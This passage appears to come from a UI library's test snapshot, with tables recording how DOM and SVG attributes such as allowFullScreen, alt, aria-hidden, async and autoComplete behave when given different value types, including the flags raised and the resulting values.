`alignmentBaseline=(symbol)`| (initial, warning)| `<null>` |\n| `alignmentBaseline=(function)`| (initial, warning)| `<null>` |\n| `alignmentBaseline=(null)`| (initial)| `<null>` |\n| `alignmentBaseline=(undefined)`| (initial)| `<null>` |\n\n## `allowFullScreen` (on `<iframe>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `allowFullScreen=(string)`| (changed)| `<boolean: true>` |\n| `allowFullScreen=(empty string)`| (initial)| `<boolean: false>` |\n| `allowFullScreen=(array with string)`| (changed)| `<boolean: true>` |\n| `allowFullScreen=(empty array)`| (changed)| `<boolean: true>` |\n| `allowFullScreen=(object)`| (changed)| `<boolean: true>` |\n| `allowFullScreen=(numeric string)`| (changed)| `<boolean: true>` |\n| `allowFullScreen=(-1)`| (changed)| `<boolean: true>` |\n| `allowFullScreen=(0)`| (initial)| `<boolean: false>` |\n| `allowFullScreen=(integer)`| (changed)| `<boolean: true>` |\n| `allowFullScreen=(NaN)`| (initial, warning)| `<boolean: false>` |\n| `allowFullScreen=(float)`| (changed)| `<boolean: true>` |\n| `allowFullScreen=(true)`| (changed)| `<boolean: true>` |\n| `allowFullScreen=(false)`| (initial)| `<boolean: false>` |\n| `allowFullScreen=(string 'true')`| (changed, warning)| `<boolean: true>` |\n| `allowFullScreen=(string 'false')`| (changed, warning)| `<boolean: true>` |\n| `allowFullScreen=(string 'on')`| (changed)| `<boolean: true>` |\n| `allowFullScreen=(string 'off')`| (changed)| `<boolean: true>` |\n| `allowFullScreen=(symbol)`| (initial, warning)| `<boolean: false>` |\n| `allowFullScreen=(function)`| (initial, warning)| `<boolean: false>` |\n| `allowFullScreen=(null)`| (initial)| `<boolean: false>` |\n| `allowFullScreen=(undefined)`| (initial)| `<boolean: false>` |\n\n## `allowfullscreen` (on `<iframe>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `allowfullscreen=(string)`| (changed, warning)| `<boolean: true>` |\n| `allowfullscreen=(empty string)`| (changed, warning)| `<boolean: true>` |\n| `allowfullscreen=(array with string)`| (changed, warning)| `<boolean: true>` |\n| `allowfullscreen=(empty array)`| (changed, warning)| `<boolean: true>` |\n| `allowfullscreen=(object)`| (changed, warning)| `<boolean: true>` |\n| `allowfullscreen=(numeric string)`| (changed, warning)| `<boolean: true>` |\n| `allowfullscreen=(-1)`| (changed, warning)| `<boolean: true>` |\n| `allowfullscreen=(0)`| (changed, warning)| `<boolean: true>` |\n| `allowfullscreen=(integer)`| (changed, warning)| `<boolean: true>` |\n| `allowfullscreen=(NaN)`| (changed, warning)| `<boolean: true>` |\n| `allowfullscreen=(float)`| (changed, warning)| `<boolean: true>` |\n| `allowfullscreen=(true)`| (initial, warning)| `<boolean: false>` |\n| `allowfullscreen=(false)`| (initial, warning)| `<boolean: false>` |\n| `allowfullscreen=(string 'true')`| (changed, warning)| `<boolean: true>` |\n| `allowfullscreen=(string 'false')`| (changed, warning)| `<boolean: true>` |\n| `allowfullscreen=(string 'on')`| (changed, warning)| `<boolean: true>` |\n| `allowfullscreen=(string 'off')`| (changed, warning)| `<boolean: true>` |\n| `allowfullscreen=(symbol)`| (initial, warning)| `<boolean: false>` |\n| `allowfullscreen=(function)`| (initial, warning)| `<boolean: false>` |\n| `allowfullscreen=(null)`| (initial, warning)| `<boolean: false>` |\n| `allowfullscreen=(undefined)`| (initial, warning)| `<boolean: false>` |\n\n## `allowFullscreen` (on `<iframe>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `allowFullscreen=(string)`| (changed, warning)| `<boolean: true>` |\n| `allowFullscreen=(empty string)`| (changed, warning)| `<boolean: true>` |\n| `allowFullscreen=(array with string)`| (changed, warning)| `<boolean: true>` |\n| `allowFullscreen=(empty array)`| (changed, warning)| `<boolean: true>` |\n| `allowFullscreen=(object)`| (changed, warning)| `<boolean: true>` |\n| `allowFullscreen=(numeric string)`| (changed, warning)| `<boolean: true>` |\n| `allowFullscreen=(-1)`| (changed, warning)| `<boolean: true>` |\n| `allowFullscreen=(0)`| (changed, warning)| `<boolean: true>` |\n| `allowFullscreen=(integer)`| (changed, warning)| `<boolean: true>` |\n| `allowFullscreen=(NaN)`| (changed, warning)| `<boolean: true>` |\n| `allowFullscreen=(float)`| (changed, warning)| `<boolean: true>` |\n| `allowFullscreen=(true)`| (initial, warning)| `<boolean: false>` |\n| `allowFullscreen=(false)`| (initial, warning)| `<boolean: false>` |\n| `allowFullscreen=(string 'true')`| (changed, warning)| `<boolean: true>` |\n| `allowFullscreen=(string 'false')`| (changed, warning)| `<boolean: true>` |\n| `allowFullscreen=(string 'on')`| (changed, warning)| `<boolean: true>` |\n| `allowFullscreen=(string 'off')`| (changed, warning)| `<boolean: true>` |\n| `allowFullscreen=(symbol)`| (initial, warning)| `<boolean: false>` |\n| `allowFullscreen=(function)`| (initial, warning)| `<boolean: false>` |\n| `allowFullscreen=(null)`| (initial, warning)| `<boolean: false>` |\n| `allowFullscreen=(undefined)`| (initial, warning)| `<boolean: false>` |\n\n## `allowReorder` (on `<switch>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `allowReorder=(string)`| (changed, ssr mismatch)| `\"a string\"` |\n| `allowReorder=(empty string)`| (changed, ssr mismatch)| `<empty string>` |\n| `allowReorder=(array with string)`| (changed, ssr mismatch)| `\"string\"` |\n| `allowReorder=(empty array)`| (changed, ssr mismatch)| `<empty string>` |\n| `allowReorder=(object)`| (changed, ssr mismatch)| `\"result of toString()\"` |\n| `allowReorder=(numeric string)`| (changed, ssr mismatch)| `\"42\"` |\n| `allowReorder=(-1)`| (changed, ssr mismatch)| `\"-1\"` |\n| `allowReorder=(0)`| (changed, ssr mismatch)| `\"0\"` |\n| `allowReorder=(integer)`| (changed, ssr mismatch)| `\"1\"` |\n| `allowReorder=(NaN)`| (changed, warning, ssr mismatch)| `\"NaN\"` |\n| `allowReorder=(float)`| (changed, ssr mismatch)| `\"99.99\"` |\n| `allowReorder=(true)`| (initial, warning)| `<null>` |\n| `allowReorder=(false)`| (initial, warning)| `<null>` |\n| `allowReorder=(string 'true')`| (changed, ssr mismatch)| `\"true\"` |\n| `allowReorder=(string 'false')`| (changed, ssr mismatch)| `\"false\"` |\n| `allowReorder=(string 'on')`| (changed, ssr mismatch)| `\"on\"` |\n| `allowReorder=(string 'off')`| (changed, ssr mismatch)| `\"off\"` |\n| `allowReorder=(symbol)`| (initial, warning)| `<null>` |\n| `allowReorder=(function)`| (initial, warning)| `<null>` |\n| `allowReorder=(null)`| (initial)| `<null>` |\n| `allowReorder=(undefined)`| (initial)| `<null>` |\n\n## `alphabetic` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `alphabetic=(string)`| (changed)| `\"a string\"` |\n| `alphabetic=(empty string)`| (changed)| `<empty string>` |\n| `alphabetic=(array with string)`| (changed)| `\"string\"` |\n| `alphabetic=(empty array)`| (changed)| `<empty string>` |\n| `alphabetic=(object)`| (changed)| `\"result of toString()\"` |\n| `alphabetic=(numeric string)`| (changed)| `\"42\"` |\n| `alphabetic=(-1)`| (changed)| `\"-1\"` |\n| `alphabetic=(0)`| (changed)| `\"0\"` |\n| `alphabetic=(integer)`| (changed)| `\"1\"` |\n| `alphabetic=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `alphabetic=(float)`| (changed)| `\"99.99\"` |\n| `alphabetic=(true)`| (initial, warning)| `<null>` |\n| `alphabetic=(false)`| (initial, warning)| `<null>` |\n| `alphabetic=(string 'true')`| (changed)| `\"true\"` |\n| `alphabetic=(string 'false')`| (changed)| `\"false\"` |\n| `alphabetic=(string 'on')`| (changed)| `\"on\"` |\n| `alphabetic=(string 'off')`| (changed)| `\"off\"` |\n| `alphabetic=(symbol)`| (initial, warning)| `<null>` |\n| `alphabetic=(function)`| (initial, warning)| `<null>` |\n| `alphabetic=(null)`| (initial)| `<null>` |\n| `alphabetic=(undefined)`| (initial)| `<null>` |\n\n## `alt` (on `<img>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `alt=(string)`| (changed)| `\"a string\"` |\n| `alt=(empty string)`| (initial)| `<empty string>` |\n| `alt=(array with string)`| (changed)| `\"string\"` |\n| `alt=(empty array)`| (initial)| `<empty string>` |\n| `alt=(object)`| (changed)| `\"result of toString()\"` |\n| `alt=(numeric string)`| (changed)| `\"42\"` |\n| `alt=(-1)`| (changed)| `\"-1\"` |\n| `alt=(0)`| (changed)| `\"0\"` |\n| `alt=(integer)`| (changed)| `\"1\"` |\n| `alt=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `alt=(float)`| (changed)| `\"99.99\"` |\n| `alt=(true)`| (initial, warning)| `<empty string>` |\n| `alt=(false)`| (initial, warning)| `<empty string>` |\n| `alt=(string 'true')`| (changed)| `\"true\"` |\n| `alt=(string 'false')`| (changed)| `\"false\"` |\n| `alt=(string 'on')`| (changed)| `\"on\"` |\n| `alt=(string 'off')`| (changed)| `\"off\"` |\n| `alt=(symbol)`| (initial, warning)| `<empty string>` |\n| `alt=(function)`| (initial, warning)| `<empty string>` |\n| `alt=(null)`| (initial)| `<empty string>` |\n| `alt=(undefined)`| (initial)| `<empty string>` |\n\n## `amplitude` (on `<feFuncA>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `amplitude=(string)`| (initial)| `<number: 1>` |\n| `amplitude=(empty string)`| (changed)| `<number: 0>` |\n| `amplitude=(array with string)`| (initial)| `<number: 1>` |\n| `amplitude=(empty array)`| (changed)| `<number: 0>` |\n| `amplitude=(object)`| (initial)| `<number: 1>` |\n| `amplitude=(numeric string)`| (changed)| `<number: 42>` |\n| `amplitude=(-1)`| (changed)| `<number: -1>` |\n| `amplitude=(0)`| (changed)| `<number: 0>` |\n| `amplitude=(integer)`| (initial)| `<number: 1>` |\n| `amplitude=(NaN)`| (initial, warning)| `<number: 1>` |\n| `amplitude=(float)`| (changed)| `<number: 99.98999786376953>` |\n| `amplitude=(true)`| (initial, warning)| `<number: 1>` |\n| `amplitude=(false)`| (initial, warning)| `<number: 1>` |\n| `amplitude=(string 'true')`| (initial)| `<number: 1>` |\n| `amplitude=(string 'false')`| (initial)| `<number: 1>` |\n| `amplitude=(string 'on')`| (initial)| `<number: 1>` |\n| `amplitude=(string 'off')`| (initial)| `<number: 1>` |\n| `amplitude=(symbol)`| (initial, warning)| `<number: 1>` |\n| `amplitude=(function)`| (initial, warning)| `<number: 1>` |\n| `amplitude=(null)`| (initial)| `<number: 1>` |\n| `amplitude=(undefined)`| (initial)| `<number: 1>` |\n\n## `arabic-form` (on `<glyph>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `arabic-form=(string)`| (changed, warning)| `\"a string\"` |\n| `arabic-form=(empty string)`| (changed, warning)| `<empty string>` |\n| `arabic-form=(array with string)`| (changed, warning)| `\"string\"` |\n| `arabic-form=(empty array)`| (changed, warning)| `<empty string>` |\n| `arabic-form=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `arabic-form=(numeric string)`| (changed, warning)| `\"42\"` |\n| `arabic-form=(-1)`| (changed, warning)| `\"-1\"` |\n| `arabic-form=(0)`| (changed, warning)| `\"0\"` |\n| `arabic-form=(integer)`| (changed, warning)| `\"1\"` |\n| `arabic-form=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `arabic-form=(float)`| (changed, warning)| `\"99.99\"` |\n| `arabic-form=(true)`| (initial, warning)| `<null>` |\n| `arabic-form=(false)`| (initial, warning)| `<null>` |\n| `arabic-form=(string 'true')`| (changed, warning)| `\"true\"` |\n| `arabic-form=(string 'false')`| (changed, warning)| `\"false\"` |\n| `arabic-form=(string 'on')`| (changed, warning)| `\"on\"` |\n| `arabic-form=(string 'off')`| (changed, warning)| `\"off\"` |\n| `arabic-form=(symbol)`| (initial, warning)| `<null>` |\n| `arabic-form=(function)`| (initial, warning)| `<null>` |\n| `arabic-form=(null)`| (initial, warning)| `<null>` |\n| `arabic-form=(undefined)`| (initial, warning)| `<null>` |\n\n## `arabicForm` (on `<glyph>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `arabicForm=(string)`| (changed)| `\"a string\"` |\n| `arabicForm=(empty string)`| (changed)| `<empty string>` |\n| `arabicForm=(array with string)`| (changed)| `\"string\"` |\n| `arabicForm=(empty array)`| (changed)| `<empty string>` |\n| `arabicForm=(object)`| (changed)| `\"result of toString()\"` |\n| `arabicForm=(numeric string)`| (changed)| `\"42\"` |\n| `arabicForm=(-1)`| (changed)| `\"-1\"` |\n| `arabicForm=(0)`| (changed)| `\"0\"` |\n| `arabicForm=(integer)`| (changed)| `\"1\"` |\n| `arabicForm=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `arabicForm=(float)`| (changed)| `\"99.99\"` |\n| `arabicForm=(true)`| (initial, warning)| `<null>` |\n| `arabicForm=(false)`| (initial, warning)| `<null>` |\n| `arabicForm=(string 'true')`| (changed)| `\"true\"` |\n| `arabicForm=(string 'false')`| (changed)| `\"false\"` |\n| `arabicForm=(string 'on')`| (changed)| `\"on\"` |\n| `arabicForm=(string 'off')`| (changed)| `\"off\"` |\n| `arabicForm=(symbol)`| (initial, warning)| `<null>` |\n| `arabicForm=(function)`| (initial, warning)| `<null>` |\n| `arabicForm=(null)`| (initial)| `<null>` |\n| `arabicForm=(undefined)`| (initial)| `<null>` |\n\n## `aria` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `aria=(string)`| (changed, warning)| `\"a string\"` |\n| `aria=(empty string)`| (changed, warning)| `<empty string>` |\n| `aria=(array with string)`| (changed, warning)| `\"string\"` |\n| `aria=(empty array)`| (changed, warning)| `<empty string>` |\n| `aria=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `aria=(numeric string)`| (changed, warning)| `\"42\"` |\n| `aria=(-1)`| (changed, warning)| `\"-1\"` |\n| `aria=(0)`| (changed, warning)| `\"0\"` |\n| `aria=(integer)`| (changed, warning)| `\"1\"` |\n| `aria=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `aria=(float)`| (changed, warning)| `\"99.99\"` |\n| `aria=(true)`| (initial, warning)| `<null>` |\n| `aria=(false)`| (initial, warning)| `<null>` |\n| `aria=(string 'true')`| (changed, warning)| `\"true\"` |\n| `aria=(string 'false')`| (changed, warning)| `\"false\"` |\n| `aria=(string 'on')`| (changed, warning)| `\"on\"` |\n| `aria=(string 'off')`| (changed, warning)| `\"off\"` |\n| `aria=(symbol)`| (initial, warning)| `<null>` |\n| `aria=(function)`| (initial, warning)| `<null>` |\n| `aria=(null)`| (initial, warning)| `<null>` |\n| `aria=(undefined)`| (initial, warning)| `<null>` |\n\n## `aria-` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `aria-=(string)`| (changed, warning)| `\"a string\"` |\n| `aria-=(empty string)`| (changed, warning)| `<empty string>` |\n| `aria-=(array with string)`| (changed, warning)| `\"string\"` |\n| `aria-=(empty array)`| (changed, warning)| `<empty string>` |\n| `aria-=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `aria-=(numeric string)`| (changed, warning)| `\"42\"` |\n| `aria-=(-1)`| (changed, warning)| `\"-1\"` |\n| `aria-=(0)`| (changed, warning)| `\"0\"` |\n| `aria-=(integer)`| (changed, warning)| `\"1\"` |\n| `aria-=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `aria-=(float)`| (changed, warning)| `\"99.99\"` |\n| `aria-=(true)`| (changed, warning)| `\"true\"` |\n| `aria-=(false)`| (changed, warning)| `\"false\"` |\n| `aria-=(string 'true')`| (changed, warning)| `\"true\"` |\n| `aria-=(string 'false')`| (changed, warning)| `\"false\"` |\n| `aria-=(string 'on')`| (changed, warning)| `\"on\"` |\n| `aria-=(string 'off')`| (changed, warning)| `\"off\"` |\n| `aria-=(symbol)`| (initial, warning)| `<null>` |\n| `aria-=(function)`| (initial, warning)| `<null>` |\n| `aria-=(null)`| (initial, warning)| `<null>` |\n| `aria-=(undefined)`| (initial, warning)| `<null>` |\n\n## `aria-hidden` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `aria-hidden=(string)`| (changed)| `\"a string\"` |\n| `aria-hidden=(empty string)`| (changed)| `<empty string>` |\n| `aria-hidden=(array with string)`| (changed)| `\"string\"` |\n| `aria-hidden=(empty array)`| (changed)| `<empty string>` |\n| `aria-hidden=(object)`| (changed)| `\"result of toString()\"` |\n| `aria-hidden=(numeric string)`| (changed)| `\"42\"` |\n| `aria-hidden=(-1)`| (changed)| `\"-1\"` |\n| `aria-hidden=(0)`| (changed)| `\"0\"` |\n| `aria-hidden=(integer)`| (changed)| `\"1\"` |\n| `aria-hidden=(NaN)`| (changed)| `\"NaN\"` |\n| `aria-hidden=(float)`| (changed)| `\"99.99\"` |\n| `aria-hidden=(true)`| (changed)| `\"true\"` |\n| `aria-hidden=(false)`| (changed)| `\"false\"` |\n| `aria-hidden=(string 'true')`| (changed)| `\"true\"` |\n| `aria-hidden=(string 'false')`| (changed)| `\"false\"` |\n| `aria-hidden=(string 'on')`| (changed)| `\"on\"` |\n| `aria-hidden=(string 'off')`| (changed)| `\"off\"` |\n| `aria-hidden=(symbol)`| (initial)| `<null>` |\n| `aria-hidden=(function)`| (initial)| `<null>` |\n| `aria-hidden=(null)`| (initial)| `<null>` |\n| `aria-hidden=(undefined)`| (initial)| `<null>` |\n\n## `aria-invalidattribute` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `aria-invalidattribute=(string)`| (changed, warning)| `\"a string\"` |\n| `aria-invalidattribute=(empty string)`| (changed, warning)| `<empty string>` |\n| `aria-invalidattribute=(array with string)`| (changed, warning)| `\"string\"` |\n| `aria-invalidattribute=(empty array)`| (changed, warning)| `<empty string>` |\n| `aria-invalidattribute=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `aria-invalidattribute=(numeric string)`| (changed, warning)| `\"42\"` |\n| `aria-invalidattribute=(-1)`| (changed, warning)| `\"-1\"` |\n| `aria-invalidattribute=(0)`| (changed, warning)| `\"0\"` |\n| `aria-invalidattribute=(integer)`| (changed, warning)| `\"1\"` |\n| `aria-invalidattribute=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `aria-invalidattribute=(float)`| (changed, warning)| `\"99.99\"` |\n| `aria-invalidattribute=(true)`| (changed, warning)| `\"true\"` |\n| `aria-invalidattribute=(false)`| (changed, warning)| `\"false\"` |\n| `aria-invalidattribute=(string 'true')`| (changed, warning)| `\"true\"` |\n| `aria-invalidattribute=(string 'false')`| (changed, warning)| `\"false\"` |\n| `aria-invalidattribute=(string 'on')`| (changed, warning)| `\"on\"` |\n| `aria-invalidattribute=(string 'off')`| (changed, warning)| `\"off\"` |\n| `aria-invalidattribute=(symbol)`| (initial, warning)| `<null>` |\n| `aria-invalidattribute=(function)`| (initial, warning)| `<null>` |\n| `aria-invalidattribute=(null)`| (initial, warning)| `<null>` |\n| `aria-invalidattribute=(undefined)`| (initial, warning)| `<null>` |\n\n## `as` (on `<link>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `as=(string)`| (initial)| `<empty string>` |\n| `as=(empty string)`| (initial)| `<empty string>` |\n| `as=(array with string)`| (initial)| `<empty string>` |\n| `as=(empty array)`| (initial)| `<empty string>` |\n| `as=(object)`| (initial)| `<empty string>` |\n| `as=(numeric string)`| (initial)| `<empty string>` |\n| `as=(-1)`| (initial)| `<empty string>` |\n| `as=(0)`| (initial)| `<empty string>` |\n| `as=(integer)`| (initial)| `<empty string>` |\n| `as=(NaN)`| (initial, warning)| `<empty string>` |\n| `as=(float)`| (initial)| `<empty string>` |\n| `as=(true)`| (initial, warning)| `<empty string>` |\n| `as=(false)`| (initial, warning)| `<empty string>` |\n| `as=(string 'true')`| (initial)| `<empty string>` |\n| `as=(string 'false')`| (initial)| `<empty string>` |\n| `as=(string 'on')`| (initial)| `<empty string>` |\n| `as=(string 'off')`| (initial)| `<empty string>` |\n| `as=(symbol)`| (initial, warning)| `<empty string>` |\n| `as=(function)`| (initial, warning)| `<empty string>` |\n| `as=(null)`| (initial)| `<empty string>` |\n| `as=(undefined)`| (initial)| `<empty string>` |\n\n## `ascent` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `ascent=(string)`| (changed)| `\"a string\"` |\n| `ascent=(empty string)`| (changed)| `<empty string>` |\n| `ascent=(array with string)`| (changed)| `\"string\"` |\n| `ascent=(empty array)`| (changed)| `<empty string>` |\n| `ascent=(object)`| (changed)| `\"result of toString()\"` |\n| `ascent=(numeric string)`| (changed)| `\"42\"` |\n| `ascent=(-1)`| (changed)| `\"-1\"` |\n| `ascent=(0)`| (changed)| `\"0\"` |\n| `ascent=(integer)`| (changed)| `\"1\"` |\n| `ascent=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `ascent=(float)`| (changed)| `\"99.99\"` |\n| `ascent=(true)`| (initial, warning)| `<null>` |\n| `ascent=(false)`| (initial, warning)| `<null>` |\n| `ascent=(string 'true')`| (changed)| `\"true\"` |\n| `ascent=(string 'false')`| (changed)| `\"false\"` |\n| `ascent=(string 'on')`| (changed)| `\"on\"` |\n| `ascent=(string 'off')`| (changed)| `\"off\"` |\n| `ascent=(symbol)`| (initial, warning)| `<null>` |\n| `ascent=(function)`| (initial, warning)| `<null>` |\n| `ascent=(null)`| (initial)| `<null>` |\n| `ascent=(undefined)`| (initial)| `<null>` |\n\n## `async` (on `<script>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `async=(string)`| (changed)| `<boolean: true>` |\n| `async=(empty string)`| (initial)| `<boolean: false>` |\n| `async=(array with string)`| (changed)| `<boolean: true>` |\n| `async=(empty array)`| (changed)| `<boolean: true>` |\n| `async=(object)`| (changed)| `<boolean: true>` |\n| `async=(numeric string)`| (changed)| `<boolean: true>` |\n| `async=(-1)`| (changed)| `<boolean: true>` |\n| `async=(0)`| (initial)| `<boolean: false>` |\n| `async=(integer)`| (changed)| `<boolean: true>` |\n| `async=(NaN)`| (initial, warning)| `<boolean: false>` |\n| `async=(float)`| (changed)| `<boolean: true>` |\n| `async=(true)`| (changed)| `<boolean: true>` |\n| `async=(false)`| (initial)| `<boolean: false>` |\n| `async=(string 'true')`| (changed, warning)| `<boolean: true>` |\n| `async=(string 'false')`| (changed, warning)| `<boolean: true>` |\n| `async=(string 'on')`| (changed)| `<boolean: true>` |\n| `async=(string 'off')`| (changed)| `<boolean: true>` |\n| `async=(symbol)`| (initial, warning)| `<boolean: false>` |\n| `async=(function)`| (initial, warning)| `<boolean: false>` |\n| `async=(null)`| (initial)| `<boolean: false>` |\n| `async=(undefined)`| (initial)| `<boolean: false>` |\n\n## `attributeName` (on `<animate>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `attributeName=(string)`| (changed)| `\"a string\"` |\n| `attributeName=(empty string)`| (changed)| `<empty string>` |\n| `attributeName=(array with string)`| (changed)| `\"string\"` |\n| `attributeName=(empty array)`| (changed)| `<empty string>` |\n| `attributeName=(object)`| (changed)| `\"result of toString()\"` |\n| `attributeName=(numeric string)`| (changed)| `\"42\"` |\n| `attributeName=(-1)`| (changed)| `\"-1\"` |\n| `attributeName=(0)`| (changed)| `\"0\"` |\n| `attributeName=(integer)`| (changed)| `\"1\"` |\n| `attributeName=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `attributeName=(float)`| (changed)| `\"99.99\"` |\n| `attributeName=(true)`| (initial, warning)| `<null>` |\n| `attributeName=(false)`| (initial, warning)| `<null>` |\n| `attributeName=(string 'true')`| (changed)| `\"true\"` |\n| `attributeName=(string 'false')`| (changed)| `\"false\"` |\n| `attributeName=(string 'on')`| (changed)| `\"on\"` |\n| `attributeName=(string 'off')`| (changed)| `\"off\"` |\n| `attributeName=(symbol)`| (initial, warning)| `<null>` |\n| `attributeName=(function)`| (initial, warning)| `<null>` |\n| `attributeName=(null)`| (initial)| `<null>` |\n| `attributeName=(undefined)`| (initial)| `<null>` |\n\n## `attributeType` (on `<animate>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `attributeType=(string)`| (changed)| `\"a string\"` |\n| `attributeType=(empty string)`| (changed)| `<empty string>` |\n| `attributeType=(array with string)`| (changed)| `\"string\"` |\n| `attributeType=(empty array)`| (changed)| `<empty string>` |\n| `attributeType=(object)`| (changed)| `\"result of toString()\"` |\n| `attributeType=(numeric string)`| (changed)| `\"42\"` |\n| `attributeType=(-1)`| (changed)| `\"-1\"` |\n| `attributeType=(0)`| (changed)| `\"0\"` |\n| `attributeType=(integer)`| (changed)| `\"1\"` |\n| `attributeType=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `attributeType=(float)`| (changed)| `\"99.99\"` |\n| `attributeType=(true)`| (initial, warning)| `<null>` |\n| `attributeType=(false)`| (initial, warning)| `<null>` |\n| `attributeType=(string 'true')`| (changed)| `\"true\"` |\n| `attributeType=(string 'false')`| (changed)| `\"false\"` |\n| `attributeType=(string 'on')`| (changed)| `\"on\"` |\n| `attributeType=(string 'off')`| (changed)| `\"off\"` |\n| `attributeType=(symbol)`| (initial, warning)| `<null>` |\n| `attributeType=(function)`| (initial, warning)| `<null>` |\n| `attributeType=(null)`| (initial)| `<null>` |\n| `attributeType=(undefined)`| (initial)| `<null>` |\n\n## `autoCapitalize` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `autoCapitalize=(string)`| (changed)| `\"words\"` |\n| `autoCapitalize=(empty string)`| (initial)| `<empty string>` |\n| `autoCapitalize=(array with string)`| (changed)| `\"words\"` |\n| `autoCapitalize=(empty array)`| (initial)| `<empty string>` |\n| `autoCapitalize=(object)`| (changed)| `\"sentences\"` |\n| `autoCapitalize=(numeric string)`| (changed)| `\"sentences\"` |\n| `autoCapitalize=(-1)`| (changed)| `\"sentences\"` |\n| `autoCapitalize=(0)`| (changed)| `\"sentences\"` |\n| `autoCapitalize=(integer)`| (changed)| `\"sentences\"` |\n| `autoCapitalize=(NaN)`| (changed, warning)| `\"sentences\"` |\n| `autoCapitalize=(float)`| (changed)| `\"sentences\"` |\n| `autoCapitalize=(true)`| (initial, warning)| `<empty string>` |\n| `autoCapitalize=(false)`| (initial, warning)| `<empty string>` |\n| `autoCapitalize=(string 'true')`| (changed)| `\"sentences\"` |\n| `autoCapitalize=(string 'false')`| (changed)| `\"sentences\"` |\n| `autoCapitalize=(string 'on')`| (changed)| `\"sentences\"` |\n| `autoCapitalize=(string 'off')`| (changed)| `\"none\"` |\n| `autoCapitalize=(symbol)`| (initial, warning)| `<empty string>` |\n| `autoCapitalize=(function)`| (initial, warning)| `<empty string>` |\n| `autoCapitalize=(null)`| (initial)| `<empty string>` |\n| `autoCapitalize=(undefined)`| (initial)| `<empty string>` |\n\n## `autoComplete` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `autoComplete=(string)`| (changed)| `\"email\"` |\n| `autoComplete=(empty string)`| (initial)| `<empty string>` |\n| `autoComplete=(array with string)`| (changed)| `\"email\"` |\n| `autoComplete=(empty array)`| (initial)| `<empty string>` |\n| `autoComplete=(object)`| (initial)| `<empty string>` |\n| `autoComplete=(numeric string)`| (initial)| `<empty string>` |\n| `autoComplete=(-1)`| (initial)| `<empty string>` |\n| `autoComplete=(0)`| (initial)| `<empty string>` |\n| `autoComplete=(integer)`| (initial)| `<empty string>` |\n| `autoComplete=(NaN)`| (initial, warning)| `<empty string>` |\n| `autoComplete=(float)`| (initial)| `<empty string>` |\n| `autoComplete=(true)`| (initial, warning)| `<empty string>` |\n| `autoComplete=(false)`| (initial, warning)| `<empty string>` |\n| `autoComplete=(string 'true')`| (initial)| `<empty string>` |\n| `autoComplete=(string 'false')`| (initial)| `<empty string>` |\n| `autoComplete=(string 'on')`| (changed)| `\"on\"` |\n| `autoComplete=(string 'off')`| (changed)| `\"off\"` |\n| `autoComplete=(symbol)`| (initial, warning)| `<empty string>` |\n| `autoComplete=(function)`| (initial, warning)| `<empty string>` |\n| `autoComplete=(null)`| (initial)| `<empty string>` |\n| `autoComplete=(undefined)`| (initial)| `<empty string>` |\n\n## `autoCorrect` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `autoCorrect=(string)`| (changed)| `\"off\"` |\n| `autoCorrect=(empty string)`| (changed)| `<empty string>` |\n| `autoCorrect=(array with string)`| (changed)| `\"off\"` |\n| `autoCorrect=(empty array)`| (changed)| `<empty string>` |\n| `autoCorrect=(object)`| (changed)| `\"result of toString()\"` |\n| `autoCorrect=(numeric string)`| (changed)| `\"42\"` |\n| `autoCorrect=(-1)`| (changed)| `\"-1\"` |\n| `autoCorrect=(0)`| (changed)| `\"0\"` |\n| `autoCorrect=(integer)`| (changed)| `\"1\"` |\n| `autoCorrect=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `autoCorrect=(float)`| (changed)| `\"99.99\"` |\n| `autoCorrect=(true)`| (initial, warning)| `<null>` |\n| `autoCorrect=(false)`| (initial, warning)| `<null>` |\n| `autoCorrect=(string 'true')`| (changed)| `\"true\"` |\n| `autoCorrect=(string 'false')`| (changed)| `\"false\"` |\n| `autoCorrect=(string 'on')`| (changed)| `\"on\"` |\n| `autoCorrect=(string 'off')`| (changed)| `\"off\"` |\n| `autoCorrect=(symbol)`| (initial, warning)| `<null>` |\n| `autoCorrect=(function)`| (initial, warning)| `<null>` |\n| `autoCorrect=(null)`| (initial)| `<null>` |\n| `autoCorrect=(undefined)`| 